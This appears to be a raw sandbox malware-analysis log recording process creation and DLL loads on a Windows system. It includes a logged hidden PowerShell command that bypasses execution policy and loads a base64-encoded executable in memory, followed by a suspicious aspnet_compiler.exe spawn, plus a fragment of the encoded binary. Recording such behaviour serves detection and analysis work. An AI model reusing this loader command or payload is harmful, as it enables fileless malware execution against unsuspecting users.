xkAAApzGgAACoABAAAEfgEAAAQqGn4CAAAEKh4CgAIAAAQqGn4DAAAEKh4CKBsAAAoqVnMGAAAGKBwAAAp0AwAAAoADAAAEKjIoHQAACgJvHgAACiqODwAoCQAABg8BKAoAAAbQAQAAGygYAAAKKB8AAAqlAQAAGyoAAAAbMAsA5AIAAAEAABEWCjjVAgAAFgsSAv4VEQAAAhID/hUQAAACEgLQEQAAAigYAAAKKCAAAAooIQAACn0iAAAEfg0AAAQCfiIAAAp+IwAACn4jAAAKFiAEAAAIfiMAAAoUEgISA28+AAAGLQZzJAAACnoDHzwoJQAAChMEAxEEHzRYKCUAAAoTBSCzAAAAjTMAAAETBhEGFiACAAEAnigmAAAKGjMafggAAAQJex8AAAQRBm8qAAAGLSBzJAAACnp+BwAABAl7HwAABBEGbyYAAAYtBnMkAAAKehEGHymUEwcWEwh+CwAABAl7HgAABBEHHlgSCBoSAW82AAAGLQZzJAAACnoRBREIMxp+DAAABAl7HgAABBEIbzoAAAYsBnMkAAAKegMRBB9QWCglAAAKEwkDEQQfVFgoJQAAChMKFhMLfgkAAAQJex4AAAQRBREJIAAwAAAfQG8uAAAGEwwRDC0GcyQAAAp6fgoAAAQJex4AAAQRDAMRChIBbzIAAAYtBnMkAAAKehEEIPgAAABYEw0DEQQcWCgnAAAKEw4WExErdQMRDR8MWCglAAAKExIDEQ0fEFgoJQAAChMTAxENHxRYKCUAAAoTFBETLD0RE400AAABExUDERQRFRYRFY5pKCgAAAp+CgAABAl7HgAABBEMERJYERURFY5pEgFvMgAABi0GcyQAAAp6EQ0fKFgTDRERF1gTEREREQ4yhREMKCkAAAoTD34KAAAECXseAAAEEQceWBEPGhIBbzIAAAYtBnMkAAAKegMRBB8oWCglAAAKExARCywEEQUTDBEGHywRDBEQWJ4oJgAAChozGn4GAAAECXsfAAAEEQZvIgAABi0gcyQAAAp6fgUAAAQJex8AAAQRBm8eAAAGLQZzJAAACnp+BAAABAl7HwAABG8aAAAGFTMGcyQAAAp6BCwLCXseAAAEKBYAAAbeIyYJeyAAAAQoKgAACigrAAAKbywAAAreAAYXWAoGGz8k/f//KkEcAAAAAAAANAAAAIwCAADAAgAAGAAAABYAAAETMAcAWAAAAAIAABEgAAwAACgtAAAKGo0WAAABJRZzLgAACqIlF34OAAAEoiUYF4wzAAABoiUZF40WAAABJRYCoqIK0DsAAAEoGAAACn4PAAAEKC8AAAoWjDMAAAEGbzAAAAoqEzAGAEgAAAADAAARAm8xAAAKF2ONNAAAAQoWCyspBgcCBxdibzIAAAooDwAABhpiAgcXYhdYbzIAAAooDwAABljSnAcXWAsHAm8xAAAKF2MyzAYqOgIlHzoyBB83KwIfMFkqABMwAwCBAAAABAAAESBxRQAAKDMAAAp+PwAABC0lHxDQLwAAASgYAAAK0AQAAAIoGAAACig0AAAKKDUAAAqAPwAABH4/AAAEezYAAAp+PwAABHI3AABwKA0AAAZvNwAACigOAAAGCiAVNAAAKDMAAAooOAAACn4QAAAEbx4AAAoGFigMAAAGFig5AAAKKgAAABMwAwAwAAAABAAAEQNvOgAAChfaF9YX2hfWjTQAAAEKAwYWbzsAAAoCGgYoEgAABhb+ASwGczwAAAp6KiYCA4EBAAAbAyoAABMwBQBeAAAABQAAERaNNAAAAQoWCwIaBhYSASgRAAAGJgcWNwoHbiD/fwAAajEGczwAAAp6AhoSAAduF2rbhBfWF9oX1o00AAABKAEAACsHEgEoEQAABhb+ASwGczwAAAp6BhZzPQAACioAABMwCAAwAAAABgAAEQIoFQAABgoGbz4AAAoWFhcg/w8PABcUcz8AAAoWF
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String('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
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"

Source: C:\Windows\System32\notepad.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: mrmcorer.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: textshaping.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: efswrt.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: oleacc.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: textinputframework.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: coreuicomponents.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: dui70.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: duser.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: dwmapi.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: explorerframe.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: windowscodecs.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: thumbcache.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: dataexchange.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: d3d11.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: dcomp.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: dxgi.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: msftedit.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: windows.globalization.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: bcp47mrm.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: globinputhost.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: structuredquery.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: atlthunk.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: windows.storage.search.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: linkinfo.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: twinapi.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: ehstorshell.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: cscui.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: networkexplorer.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: ntshrui.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: cscapi.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: winmm.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: windows.staterepositorycore.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: windows.ui.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: windowmanagementapi.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: inputhost.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: provsvc.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: rasapi32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: rasman.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: rtutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: secur32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: schannel.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: cryptnet.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: webio.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: cabinet.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Section loaded: userenv.dll

Source: C:\Windows\System32\notepad.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{11659a23-5884-4d1b-9cf6-67d6f4f90b36}\InProcServer32

Source: C:\Windows\System32\notepad.exe

File opened: C:\Windows\system32\MsftEdit.dll

Source: C:\Windows\System32\notepad.exe

Window detected: Number of UI elements: 16

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

